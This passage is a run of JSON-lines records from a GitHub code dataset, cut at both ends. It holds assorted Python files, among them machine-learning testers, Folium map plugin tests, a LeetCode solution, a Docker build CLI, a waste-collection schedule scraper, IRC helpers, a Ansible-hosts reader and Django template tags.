True:\n\ttry:\n\t\tmain()\n\texcept:\n\t\tsleep(15*60)","repo_name":"alfurka/twitter_streaming","sub_path":"streaming.py","file_name":"streaming.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32274042533","text":"\"\"\"\r\n Heatmap tester for only one landmark ,\r\n\r\n\"\"\"\r\nfrom datasets.eval.eval import Evaluater\r\nfrom datasets.ceph.ceph_heatmap_spec import Test_Cephalometric\r\nfrom utils.utils import voting\r\nfrom torch.utils.data import DataLoader\r\nfrom tqdm import tqdm\r\nfrom tutils import tfilename\r\nimport numpy as np\r\nfrom einops import rearrange\r\n# from datasets.ceph.ceph_heatmap import Cephalometric\r\nfrom utils.utils import visualize_landmarks\r\nfrom torchvision.utils import save_image\r\n\r\n\r\ndef heatmap2landmark(heatmap):\r\n preds = []\r\n for lm in range(heatmap.shape[0]):\r\n heatmap_i = heatmap[lm, :, :]\r\n pred_i = np.unravel_index(heatmap_i.argmax(), heatmap_i.shape)\r\n preds.append(list(pred_i))\r\n return np.array(preds)\r\n\r\n\r\ndef landmark_wh_to_hw(landmarks):\r\n out = []\r\n for lm in landmarks:\r\n out.append([lm[1], lm[0]])\r\n return np.array(out)\r\n\r\n\r\nclass Tester(object):\r\n def __init__(self, logger=None, config=None, args=None, split='subtest', landmark_id=None):\r\n dataset_1 = Test_Cephalometric(config['dataset']['pth'], split=split, landmark_id=landmark_id)\r\n self.dataloader = DataLoader(dataset_1, batch_size=1,\r\n shuffle=False, num_workers=2)\r\n # self.Radius = dataset_1.Radius\r\n self.config = config\r\n self.evaluater = Evaluater(logger, [384, 384],\r\n [2400, 1935])\r\n self.logger = logger\r\n self.dataset = dataset_1\r\n self.landmark_id = landmark_id\r\n\r\n def test(self, model, epoch=0, rank=-1, draw=True):\r\n self.evaluater.reset()\r\n model.eval()\r\n runs_dir = self.config['base']['runs_dir']\r\n ID = 1\r\n for data in tqdm(self.dataloader, ncols=100):\r\n img = data['img'].cuda()\r\n landmark_list = data['landmark_list']\r\n heatmap = model(img)\r\n pred_landmark = heatmap2landmark(heatmap.cpu().detach().numpy()[0])\r\n # self.evaluater.record(pred_landmark, landmark_list)\r\n # print(pred_landmark,landmark_list)\r\n error = self.evaluater.record_new(pred_landmark, landmark_wh_to_hw(landmark_list))\r\n # print(\"tester debug\", error)\r\n ID += 1\r\n if draw and ID < 5:\r\n heatmap = rearrange(heatmap, \"n c h w -> c n h w\")\r\n save_image(heatmap, tfilename(runs_dir, f\"tmp/heatmap_spec_lm{self.landmark_id}_{ID}.png\"))\r\n # import ipdb; ipdb.set_trace()\r\n pil_img = visualize_landmarks(img, pred_landmark, landmark_wh_to_hw(landmark_list), num=1)\r\n pil_img.save(tfilename(runs_dir, f\"tmp/testimg_lm{self.landmark_id}_{ID}.png\"))\r\n\r\n return self.evaluater.cal_metrics_all()\r\n\r\n","repo_name":"transcendentsky/pixel-aug","sub_path":"utils/tester/tester_heatmap_spec.py","file_name":"tester_heatmap_spec.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"42683048641","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nFolium Plugins Tests\n--------------------\n\n\"\"\"\n\nimport folium\nfrom folium import plugins\nimport numpy as np\nimport json\n\n\nclass TestPlugins(object):\n \"\"\"Test class for Folium plugins.\"\"\"\n\n def test_scroll_zoom_toggler(self):\n mapa = folium.Map([45., 3.], zoom_start=4)\n mapa.add_plugin(plugins.ScrollZoomToggler())\n mapa._build_map()\n\n def test_marker_cluster(self):\n N = 100\n data = np.array([\n np.random.uniform(low=35, high=60, size=N), # Random latitudes.\n np.random.uniform(low=-12, high=30, size=N), # Random longitudes.\n range(N), # Popups.\n ]).T\n mapa = folium.Map([45., 3.], zoom_start=4)\n mapa.add_plugin(plugins.MarkerCluster(data))\n mapa._build_map()\n\n def test_terminator(self):\n mapa = folium.Map([45., 3.], zoom_start=1)\n mapa.add_plugin(plugins.Terminator())\n mapa.add_plugin(plugins.ScrollZoomToggler())\n mapa._build_map()\n\n def test_boat_marker(self):\n mapa = folium.Map([30., 0.], zoom_start=3)\n mapa.add_plugin(plugins.BoatMarker((34, -43),\n heading=45,\n wind_heading=150,\n wind_speed=45,\n color=\"#8f8\"))\n mapa.add_plugin(plugins.BoatMarker((46, -30),\n heading=-20,\n wind_heading=46,\n wind_speed=25,\n color=\"#88f\"))\n mapa._build_map()\n\n def test_layer(self):\n mapa = folium.Map([48., 5.], zoom_start=6)\n layer = '//otile1.mqcdn.com/tiles/1.0.0/osm/{z}/{x}/{y}.png'\n mapa.add_plugin(plugins.Layer(layer, layer_name='MapQuest'))\n mapa.add_plugin(plugins.LayerControl())\n mapa._build_map()\n\n def test_geo_json(self):\n N = 100\n lons = 5 - np.random.normal(size=N)\n lats = 48 - np.random.normal(size=N)\n coordinates = [[lon, lat] for (lat, lon) in zip(lats, lons)]\n data = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"MultiPoint\",\n \"coordinates\": coordinates,\n },\n \"properties\": {\"prop0\": \"value0\"}\n },\n ],\n }\n\n mapa = folium.Map([48., 5.], zoom_start=6)\n mapa.add_plugin(plugins.GeoJson(data))\n mapa._build_map()\n\n open('geojson_plugin_test1.json', 'w').write(json.dumps(data))\n mapb = folium.Map([48., 5.], zoom_start=6)\n mapb.add_plugin(plugins.GeoJson(open('geojson_plugin_test1.json')))\n mapb._build_map()\n\n coordinates = [[[[lon+1e-4, lat+1e-4], [lon+1e-4, lat-1e-4],\n [lon-1e-4, lat-1e-4], [lon-1e-4, lat+1e-4]]] for\n (lat, lon) in zip(lats, lons)]\n data = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"MultiPolygon\",\n \"coordinates\": coordinates,\n },\n \"properties\": {\"prop0\": \"value0\"}\n },\n ],\n }\n\n mapc = folium.Map([48., 5.], zoom_start=6)\n mapc.add_plugin(plugins.GeoJson(data))\n mapc._build_map()\n\n open('geojson_plugin_test2.json', 'w').write(json.dumps(data))\n mapd = folium.Map([48., 5.], zoom_start=6)\n mapd.add_plugin(plugins.GeoJson(open('geojson_plugin_test2.json')))\n mapd._build_map()\n\n def test_timestamped_geo_json(self):\n coordinates = [[[[lon-8*np.sin(theta), -47+6*np.cos(theta)] for\n theta in np.linspace(0, 2*np.pi, 25)],\n [[lon-4*np.sin(theta), -47+3*np.cos(theta)] for theta\n in np.linspace(0, 2*np.pi, 25)]] for\n lon in np.linspace(-150, 150, 7)]\n data = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [0, 0],\n },\n \"properties\": {\n \"times\": [1435708800000+12*86400000]\n }\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"MultiPoint\",\n \"coordinates\": [[lon, -25] for\n lon in np.linspace(-150, 150, 49)],\n },\n \"properties\": {\n \"times\": [1435708800000+i*86400000 for\n i in np.linspace(0, 25, 49)]\n }\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"LineString\",\n \"coordinates\": [[lon, 25] for\n lon in np.linspace(-150, 150, 25)],\n },\n \"properties\": {\n \"times\": [1435708800000+i*86400000 for\n i in np.linspace(0, 25, 25)]\n }\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"MultiLineString\",\n \"coordinates\": [[[lon-4*np.sin(theta),\n 47+3*np.cos(theta)] for theta\n in np.linspace(0, 2*np.pi, 25)]\n for lon in\n np.linspace(-150, 150, 13)],\n },\n \"properties\": {\n \"times\": [1435708800000+i*86400000 for\n i in np.linspace(0, 25, 13)]\n }\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"MultiPolygon\",\n \"coordinates\": coordinates,\n },\n \"properties\": {\n \"times\": [1435708800000+i*86400000 for\n i in np.linspace(0, 25, 7)]\n }\n },\n ],\n }\n\n mape = folium.Map([47, 3], zoom_start=1)\n mape.add_plugin(plugins.TimestampedGeoJson(data))\n mape._build_map()\n","repo_name":"droythorne/folium","sub_path":"tests/test_plugins.py","file_name":"test_plugins.py","file_ext":"py","file_size_in_byte":7372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72379212267","text":"from typing import Callable, Iterable, Optional\n\nimport haiku as hk\nimport jax\nimport jax.numpy as jnp\nfrom tensorflow_probability.substrates import jax as tfp\n\ntfd = tfp.distributions\n\n\nclass Variational(hk.Module):\n \"\"\"A module representing the variational distribution q(H | *O).\n\n H is assumed to be a continuous variable.\n \"\"\"\n\n def __init__(self,\n common_layer_sizes: Iterable[int],\n activation: Callable[[jax.Array], jax.Array] = jnp.tanh,\n output_dim: int = 1,\n name: Optional[str] = None):\n \"\"\"Initialises a `Variational` instance.\n\n Args:\n common_layer_sizes: The number of hidden units in the shared dense\n network layers.\n activation: Nonlinearity function to apply to each of the\n common layers.\n output_dim: The dimensionality of `H`.\n name: A name to assign to the module instance.\n \"\"\"\n super().__init__(name=name)\n self._common_layer_sizes = common_layer_sizes\n self._activation = activation\n self._output_dim = output_dim\n\n self._linear_layers = [\n hk.Linear(layer_size)\n for layer_size in self._common_layer_sizes\n ]\n\n self._mean_output = hk.Linear(self._output_dim)\n self._log_var_output = hk.Linear(self._output_dim)\n\n def __call__(self, *args) -> tfd.Distribution:\n \"\"\"Create a distribution for q(H | *O).\n\n Args:\n *args: `List[DeviceArray]`. Corresponds to the values of whatever\n variables are in the conditional set *O.\n\n Returns:\n `tfp.distributions.NormalDistribution` instance.\n \"\"\"\n # Stack all inputs, ensuring that shapes are consistent and that they are\n # all of dtype float32.\n input_ = [hk.Flatten()(arg) for arg in args]\n input_ = jnp.concatenate(input_, axis=1)\n\n # Create a common set of layers, then final layer separates mean & log_var\n for layer in self._linear_layers:\n input_ = layer(input_)\n input_ = self._activation(input_)\n\n # input_ now represents a tensor of shape (batch_size, final_layer_size).\n # This is now put through two final layers, one for the computation of each\n # of the mean and standard deviation of the resultant distribution.\n mean = self._mean_output(input_)\n log_var = self._log_var_output(input_)\n std = jnp.sqrt(jnp.exp(log_var))\n return tfd.Normal(mean, std)\n","repo_name":"deepmind/deepmind-research","sub_path":"counterfactual_fairness/variational.py","file_name":"variational.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":11900,"dataset":"github-code","pt":"37"} +{"seq_id":"38393458910","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\n# 錯誤1:curr應指向當下而非下一個node\n# pre = head\n# curr = head.next\n# 錯誤2:檢查post忘了考慮post存在與否\n\n# 建立變數curr指向當下的node\n# 變數post指向下一個node\n# 持續檢查post是否存在且值和curr相同\n# 直到節點不存在或值不相同,將post接在curr後面(等於跳過中間重複的值)\n# 接著curr移動到下個值curr.next開始繼續檢查\n# 檢查完畢後回傳head\n# O(n);O(1)\n\n# 犯錯\n# 1: 沒有用curr指向當下的node\n# 2: 沒有用第二層while檢查post\n# 3: post.val == curr.val應作為while的條件,否則while post會遍歷所有node\n# 4: post = curr.next放在while curr之前\n\nclass Solution(object):\n def deleteDuplicates(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n curr = head\n while curr:\n post = curr.next\n while post and post.val == curr.val:\n post = post.next\n\n curr.next = post\n curr = curr.next\n\n return head\n \n# 邏輯與前次一樣,一個指針指著最後一個node,另一個指針往後找下一個不重複的node\nclass Solution(object):\n def deleteDuplicates(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head:\n return head\n\n last = head\n curr = head.next\n\n while curr:\n if curr.val != last.val:\n last.next = curr\n last = curr\n\n curr = curr.next\n\n last.next = None\n return head\n\n\n","repo_name":"hcygeorge/my-leetcode","sub_path":"linked_list/easy/83. Remove Duplicates from Sorted List.py","file_name":"83. Remove Duplicates from Sorted List.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"874638246","text":"#!/usr/bin/env python\n\nfrom __future__ import unicode_literals, absolute_import, print_function\n\nimport os\nimport yaml\n\nfrom .base import DockerBuildLayer, FlyingCloudError\nfrom .utils import import_derived_class\n\n\ndef get_layer(app_name, layer_name, layer_data, registry_config):\n layer_info, layer_path = layer_data[\"info\"], layer_data[\"path\"]\n python_layer_filename = os.path.join(layer_path, \"layer.py\")\n if os.path.exists(python_layer_filename):\n layer_class = import_derived_class(python_layer_filename, DockerBuildLayer)\n else:\n layer_class = DockerBuildLayer\n\n parent = layer_info.get(\"parent\")\n source_image_base_name = '{}_{}'.format(app_name, parent) if parent else None\n help = layer_info.get('help')\n if not help:\n raise FlyingCloudError(\"layer %s is missing a Help string.\" % layer_name)\n description = layer_info.get('description')\n exposed_ports = layer_info.get('exposed_ports')\n\n layer = layer_class(\n app_name=app_name,\n layer_name=layer_name,\n source_image_base_name=source_image_base_name,\n help=help,\n description=description,\n exposed_ports=exposed_ports,\n registry_config=registry_config,\n )\n\n# print(layer.__dict__)\n\n return layer\n\n\ndef parse_project_yaml(project_info, layers_info):\n if 'app_name' in project_info:\n app_name = project_info['app_name']\n else:\n raise FlyingCloudError(\"Missing 'app_name'\")\n if not project_info.get(\"layers\"):\n raise FlyingCloudError(\"Missing 'layers'\")\n project_info.setdefault('description', \"Build Docker images using SaltStack\")\n\n registry_config = project_info.get('registry')\n layers = [get_layer(app_name, layer_name, layers_info[layer_name], registry_config)\n for layer_name in project_info[\"layers\"]]\n return layers\n\n\ndef get_project_info(project_root):\n with open(os.path.join(project_root, \"flyingcloud.yaml\")) as fp:\n project_info = yaml.load(fp)\n\n layers_info = {}\n for layer_name in project_info['layers']:\n layer_path = os.path.join(project_root, \"salt\", layer_name)\n layer_filename = os.path.join(layer_path, \"layer.yaml\")\n with open(layer_filename) as fp:\n info = yaml.load(fp)\n layers_info[layer_name] = dict(info=info, path=layer_path)\n\n return project_info, layers_info\n\n\ndef configure_layers(project_root):\n project_info, layers_info = get_project_info(project_root)\n layers = parse_project_yaml(project_info, layers_info)\n return project_info, layers\n\n\ndef main():\n DockerBuildLayer.check_user_is_root()\n\n project_root = os.path.abspath(os.getcwd())\n defaults = dict(\n base_dir=project_root,\n )\n\n try:\n project_info, layers = configure_layers(project_root)\n except FlyingCloudError:\n # TODO: argparse help\n raise\n\n instance = layers[0]\n instance.check_environment_variables()\n namespace = instance.parse_args(\n defaults,\n *layers,\n description=project_info['description'])\n\n instance = namespace.layer_inst\n instance.do_operation(namespace)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"adamfeuer/flyingcloud","sub_path":"flyingcloud/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"74146097068","text":"import re\nimport urllib\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom waste_collection_schedule import Collection # type: ignore[attr-defined]\nfrom waste_collection_schedule.service.ICS import ICS\n\nTITLE = \"AWIGO Abfallwirtschaft Landkreis Osnabrück GmbH\"\nDESCRIPTION = \"Source for AWIGO Abfallwirtschaft Landkreis Osnabrück GmbH.\"\nURL = \"https://www.awigo.de/\"\nTEST_CASES = {\n \"Bippen Am Bad 4\": {\"ort\": \"Bippen\", \"strasse\": \"Am Bad\", \"hnr\": 4},\n \"fürstenau, Am Gültum, 9\": {\"ort\": \"Fürstenau\", \"strasse\": \"Am Gültum\", \"hnr\": 9},\n \"Melle, Allee, 78-80\": {\"ort\": \"Melle\", \"strasse\": \"Allee\", \"hnr\": \"78-80\"},\n \"Berge\": {\"ort\": \"Berge\", \"strasse\": \"Poststr.\", \"hnr\": 3},\n}\n\n\nICON_MAP = {\n \"Restmülltonne\": \"mdi:trash-can\",\n \"Glass\": \"mdi:bottle-soda\",\n \"Bio-Tonne\": \"mdi:leaf\",\n \"Papiermülltonne\": \"mdi:package-variant\",\n \"Gelbe Tonne/Gelben Sack\": \"mdi:recycle\",\n}\n\n\nAPI_URL = \"https://www.awigo.de/index.php\"\n\n\ndef compare_cities(a: str, b: str) -> bool:\n return (\n re.sub(r\"\\([0-9]+\\)\", \"\", a.lower()).strip()\n == re.sub(r\"\\([0-9]+\\)\", \"\", b.lower()).strip()\n )\n\n\nclass Source:\n def __init__(self, ort: str, strasse: str, hnr: str | int):\n self._ort: str = str(ort)\n self._strasse: str = strasse\n self._hnr: str = str(hnr)\n self._ics = ICS()\n\n def fetch(self):\n s = requests.Session()\n args = {\n \"eID\": \"awigoCalendar\",\n \"calendar[method]\": \"getCities\",\n \"calendar[rest]\": 1,\n \"calendar[paper]\": 1,\n \"calendar[yellow]\": 1,\n \"calendar[brown]\": 1,\n \"calendar[mobile]\": 1,\n }\n\n r = s.post(API_URL, params=urllib.parse.urlencode(args, safe=\"[]\"))\n\n r.raise_for_status()\n\n soup = BeautifulSoup(r.text, features=\"html.parser\")\n for option in soup.findAll(\"option\"):\n if compare_cities(self._ort, option.text):\n args[\"calendar[cityID]\"] = option.get(\"value\")\n break\n if \"calendar[cityID]\" not in args:\n raise ValueError(f'City \"{self._ort}\" not found')\n\n args[\"calendar[method]\"] = \"getStreets\"\n\n r = s.post(API_URL, params=urllib.parse.urlencode(args, safe=\"[]\"))\n r.raise_for_status()\n\n soup = BeautifulSoup(r.text, features=\"html.parser\")\n for option in soup.findAll(\"option\"):\n if option.text.lower().strip() == self._strasse.lower().strip():\n args[\"calendar[streetID]\"] = option.get(\"value\")\n break\n if \"calendar[streetID]\" not in args:\n raise ValueError(f'Street \"{self._strasse}\" not found')\n\n args[\"calendar[method]\"] = \"getNumbers\"\n r = s.post(API_URL, params=urllib.parse.urlencode(args, safe=\"[]\"))\n soup = BeautifulSoup(r.text, features=\"html.parser\")\n for option in soup.findAll(\"option\"):\n if option.text.lower().strip().replace(\n \" \", \"\"\n ) == self._hnr.lower().strip().replace(\" \", \"\"):\n args[\"calendar[locationID]\"] = option.get(\"value\")\n break\n if \"calendar[locationID]\" not in args:\n raise ValueError(f'House number \"{self._hnr}\" not found')\n\n args[\"calendar[method]\"] = \"getICSfile\"\n r = s.post(API_URL, params=urllib.parse.urlencode(args, safe=\"[]\"))\n r = s.get(r.text)\n\n dates = self._ics.convert(r.text)\n entries = []\n for d in dates:\n bin_type = d[1].replace(\"wird abgeholt.\", \"\").strip()\n entries.append(Collection(d[0], bin_type, ICON_MAP.get(bin_type)))\n\n return entries\n","repo_name":"mampfes/hacs_waste_collection_schedule","sub_path":"custom_components/waste_collection_schedule/waste_collection_schedule/source/awigo_de.py","file_name":"awigo_de.py","file_ext":"py","file_size_in_byte":3652,"program_lang":"python","lang":"en","doc_type":"code","stars":559,"dataset":"github-code","pt":"37"} +{"seq_id":"25647345827","text":"def dfs(x, y, d, d_x, d_y, cnt):\n global N, result, max_result\n if d == 3 and (x, y) == (d_x, d_y):\n if cnt > result:\n result = cnt\n return\n if max_result < result:\n return\n\n tmpx, tmpy = x + dx[d], y + dy[d]\n if 0 <= tmpx < N and 0 <= tmpy < N and (not menu[m[tmpx][tmpy]] or (tmpx, tmpy) == (d_x, d_y)):\n menu[m[tmpx][tmpy]] += 1\n dfs(tmpx, tmpy, d, d_x, d_y, cnt + 1)\n menu[m[tmpx][tmpy]] -= 1\n\n if (x, y) != (d_x, d_y):\n tmpx, tmpy = x + dx[(d + 1) % 4], y + dy[(d + 1) % 4]\n if 0 <= tmpx < N and 0 <= tmpy < N and (not menu[m[tmpx][tmpy]] or (tmpx, tmpy) == (d_x, d_y)):\n menu[m[tmpx][tmpy]] += 1\n dfs(tmpx, tmpy, (d + 1) % 4, d_x, d_y, cnt + 1)\n menu[m[tmpx][tmpy]] -= 1\n\n\ndx = [1, 1, -1, -1]\ndy = [1, -1, -1, 1]\nfor tc in range(1, int(input()) + 1):\n N = int(input())\n m = [list(map(int, input().split())) for _ in range(N)]\n\n result = 0\n menu = [0] * 101\n for i in range(N - 2):\n max_result = (N - i - 1) * 2 + 1\n for j in range(1, N - 1):\n menu[m[i][j]] += 1\n dfs(i, j, 0, i, j, 1)\n menu[m[i][j]] -= 1\n print(\"#{} {}\".format(tc, result - 1))","repo_name":"hoik92/Algorithm-python-java-","sub_path":"2015.py","file_name":"2015.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4199669171","text":"\"\"\"\nSet of helper functions.\n\"\"\"\n\nENCODE_FORMAT = 'utf-8'\nHEADER_SIZE = 2048\nCHANNEL = '#global'\nNICKNAMEINUSE = 'ERR_NICKNAMEINUSE'\n\ndef extract_message(msg):\n # Handle message in the form of `:sender PRIVMSG receiver :content`\n header = msg.split(':')[1]\n (sender, receiver) = extract_header(header)\n content = msg.split(':')[2]\n return (sender, receiver, content)\n\n\ndef extract_header(header):\n sender = header.split(' ')[0]\n receiver = header.split(' ')[2]\n return (sender, receiver)","repo_name":"DucNgn/Simplified-IRC","sub_path":"irc_code/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1040710867","text":"\nwith open('/etc/ansible/hosts', 'r') as f:\n\tcontent = f.readlines()\n\nprint(content)\n\nmaster = ' '.join([x for x in content if \"master\" in x])\n\nmaster_ip = master.split(\"@\")[1]\n\nwith open('master_ip.txt', 'w') as f:\n\tf.write(master_ip)\nprint(master)\n\nprint(master_ip)","repo_name":"sbaixas/BeowulfInstaller","sub_path":"master_host.py","file_name":"master_host.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31105622135","text":"import TAT\nfrom .tensor_toolkit import Fedge, Tedge, rename_io\n\nTensor = TAT.Parity.Z.Tensor\n\nEF = Fedge[False, True]\nET = Tedge[False, True]\n\nCP = Tensor([\"O0\", \"I0\", \"T\"], [EF, ET, Fedge[\n True,\n]]).zero()\nCP[{\"O0\": (True, 0), \"I0\": (False, 0), \"T\": (True, 0)}] = 1\nCM = Tensor([\"O0\", \"I0\", \"T\"], [EF, ET, Tedge[\n True,\n]]).zero()\nCM[{\"O0\": (False, 0), \"I0\": (True, 0), \"T\": (True, 0)}] = 1\nC0C1 = rename_io(CP, [0]).contract(rename_io(CM, [1]), {(\"T\", \"T\")})\nC1C0 = rename_io(CP, [1]).contract(rename_io(CM, [0]), {(\"T\", \"T\")})\nCC = C0C1 + C1C0\n\nI = Tensor([\"O0\", \"I0\"], [EF, ET]).identity({(\"I0\", \"O0\")})\n\nN = rename_io(CP, [0]).contract(rename_io(CM, [0]), {(\"T\", \"T\"), (\"I0\", \"O0\")})\n\nCP2 = rename_io(CP, [0]).contract(rename_io(CP.reverse_edge({\"T\"}), [1]), {(\"T\", \"T\")})\nCM2 = rename_io(CM, [1]).contract(rename_io(CM.reverse_edge({\"T\"}), [0]), {(\"T\", \"T\")})\n","repo_name":"USTC-TNS/TAT","sub_path":"tetragono/tetragono/common_tensor/Parity.py","file_name":"Parity.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"70232071466","text":"from my_classes.Vehicle import Vehicle\n\n\"\"\"\nЗадание 1.\nСоздать класс Vehicle с полями name, kind, color, price. Добавить следующий функционал:\n- Конструктор (все поля обязательны для заполнения).\n- Вывод на экран всей информации о транспортном средстве.\n- Получение информации об объекте в строковом виде.\n\nСоздать список транспортных средств. Количество пользователь вводит с клавиатуры.\nЗатем он же должен ввести все данные обо всех устройствах. \nПользователь вводит с клавиатуры минимальную стоимость транспортного средства. \nПрограмма должна вывести все подходящие объекты.\n\"\"\"\n\nnum_vehicles = int(input(\"No of vehicles: \"))\nveh_list = [Vehicle(input(\"Enter the name: \"),\n input(\"Enter the type: \"),\n input(\"Enter the color: \"),\n float(input(\"Enter the price: \"))) for i in range(num_vehicles)]\n\nmin_price = float(input(\"Min price: \"))\nprice_list = list(filter(lambda x: x.price > min_price, veh_list))\n\nprint(*price_list)\n\"\"\"\nЗадание 2.\nСоздать класс Комплексного числа. Поля – действительная и мнимая часть числа. По умолчанию обе части равны 0. \nДобавить функционал вывода на экран информации о комплексном числе. \nСоздать два объекта класса и продемонстрировать работу приложения.\n\"\"\"\n\n\"\"\"\nЗадание 3.\nИнтернет-магазин продает двери, окна, обои и полы. Продумать характеристики товаров. \nСоздать необходимые классы с полями и методами. Продемонстрировать работу классов на нескольких примерах.\n\"\"\"\n\n# Задание со слайда 18\n# Создать два класса Display и Mouse, расширенных от класса Device. Device содержит только один метод showData().\n# Добавить в классе Display атрибут resolution(Float), а в класс Mouse wireless(Boolean).\n# Переопределить базовый метод вывода информации об устройстве в каждому дочернем классе.\n","repo_name":"nowhenman/LearningGit","sub_path":"may 13.py","file_name":"may 13.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42900798854","text":"import math\n\nfrom django import template\nfrom django.contrib.auth.models import User\nfrom django.db.models import QuerySet\n\nfrom ticker.models import FieldAllocation, ColorDefinition\nfrom ticker.models import Game\nfrom ticker.models import League\nfrom ticker.models import Match\nfrom ticker.models import Profile\nfrom ticker.models import Set\n\n\nregister = template.Library()\n\n\n@register.filter\ndef check_if_in_responsible_profiles(obj, user):\n if obj is None:\n return False\n if user is None:\n return False\n if user.is_superuser:\n return True\n for elm in obj:\n if elm.user.id == user.id:\n return True\n return False\n\n\n@register.filter\ndef get_field_width(width, col):\n return math.floor(int(width)/int(col))\n\n\n@register.filter\ndef player_in_team(teamobj, playerobj):\n res = teamobj.players.filter(id=playerobj.id).first()\n return 'member' if res is not None else 'nonmember'\n\n\n@register.filter\ndef player_in_team_icon(teamobj, playerobj):\n res = teamobj.players.filter(id=playerobj.id).first()\n return '' if res is not None else ''\n\n\n@register.filter\ndef is_current_season_class(obj):\n return 'currentseason' if obj.season_is_on else ''\n\n\n@register.filter\ndef is_selected(obj):\n return 'selected' if obj else ''\n\n\n@register.filter\ndef get_date_string(obj):\n if obj is None:\n return ''\n return obj.strftime('%d.%m.%Y')\n\n\n@register.filter\ndef get_players(game, args):\n match = Match.objects.filter(games__id=game.id).first()\n if match is None:\n return []\n split_args = args.split(',')\n if len(split_args) != 2:\n return []\n\n team = match.team_a if split_args[1] == 'a' else match.team_b\n if split_args[1] == 'a':\n selected_player = game.player_a.all()\n else:\n selected_player = game.player_b.all()\n if len(selected_player) > 1 and game.game_type != 'mixed':\n if split_args[0] == '1':\n selected_player = selected_player[0]\n else:\n selected_player = selected_player[1]\n\n ret_list = []\n if 'single' in game.game_type and split_args[0] == '2':\n return []\n elif 'mixed' == game.game_type:\n players = team.get_players().filter(sex=('female' if split_args[0] == '1' else 'male'))\n for player in players:\n selected = selected_player.filter(id=player.id).exists()\n ret_list.append((player.id, player.get_name(), selected))\n return ret_list\n else:\n if isinstance(selected_player, QuerySet) and selected_player.count() > 0:\n selected_player = selected_player[0]\n\n if 'woman' in game.game_type or 'women' in game.game_type:\n players = team.get_players().filter(sex='female')\n else:\n players = team.get_players().filter(sex='male')\n\n for player in players:\n selected = selected_player.id == player.id if selected_player else False\n ret_list.append((player.id, player.get_name(), selected))\n return ret_list\n\n\n@register.filter\ndef is_in(content_str, search):\n return search in content_str\n\n\n@register.filter\ndef format_players(obj):\n if obj is '' or obj is None:\n return ''\n names = [p.get_name() for p in obj.all()]\n return '
'.join(names)\n\n\n@register.filter\ndef is_current_set(obj, game):\n return 'setactive' if obj.set_number == game.current_set and game.in_progress() else ''\n\n\n@register.filter\ndef field_active(field, game):\n fa = FieldAllocation.objects.filter(field=field, game=game, is_active=True)\n return 'active' if fa.exists() else ''\n\n\n@register.filter\ndef get_fieldname(game):\n assert(isinstance(game, Game))\n fa = FieldAllocation.objects.filter(game=game, is_active=True).first()\n return fa.field.field_name if fa else 'No field assigned?'\n\n\n@register.filter\ndef finished_set(set_obj, match):\n assert(isinstance(set_obj, Set))\n assert(isinstance(match, Match))\n return set_obj.is_finished(match.rule)\n\n\n@register.filter\ndef get_range(count, min_value=0):\n return range(min_value, count)\n\n\n@register.filter\ndef get_club(user):\n \"\"\"\n returns the associated club of the given user\n :param user:\n :return:\n \"\"\"\n assert(isinstance(user, User))\n p = Profile.objects.filter(user=user).first()\n if p is None:\n return None\n return p.associated_club\n\n\n@register.filter\ndef get_leagues_club(user):\n club = get_club(user)\n if club is None and user.is_superuser:\n from ticker.models import Season\n season = Season.get_current_season()\n leagues = League.objects.filter(associated_season=season)\n else:\n leagues = League.objects.filter(teams__parent_club=club).distinct()\n return leagues\n\n\n@register.filter\ndef get_color(team, color_label):\n if team is None:\n return None\n cd = ColorDefinition.objects.filter(\n club__team=team,\n color_definition__name=color_label\n ).first()\n if cd is None:\n return None\n return cd.color_hexcode if cd else None\n\n\n@register.filter\ndef is_double(game_type):\n return game_type == 'mixed' or 'double' in game_type\n","repo_name":"meyerjo/ticker","sub_path":"ticker/templatetags/custom_tags.py","file_name":"custom_tags.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6138895553","text":"#CREA UN GRÁFICO 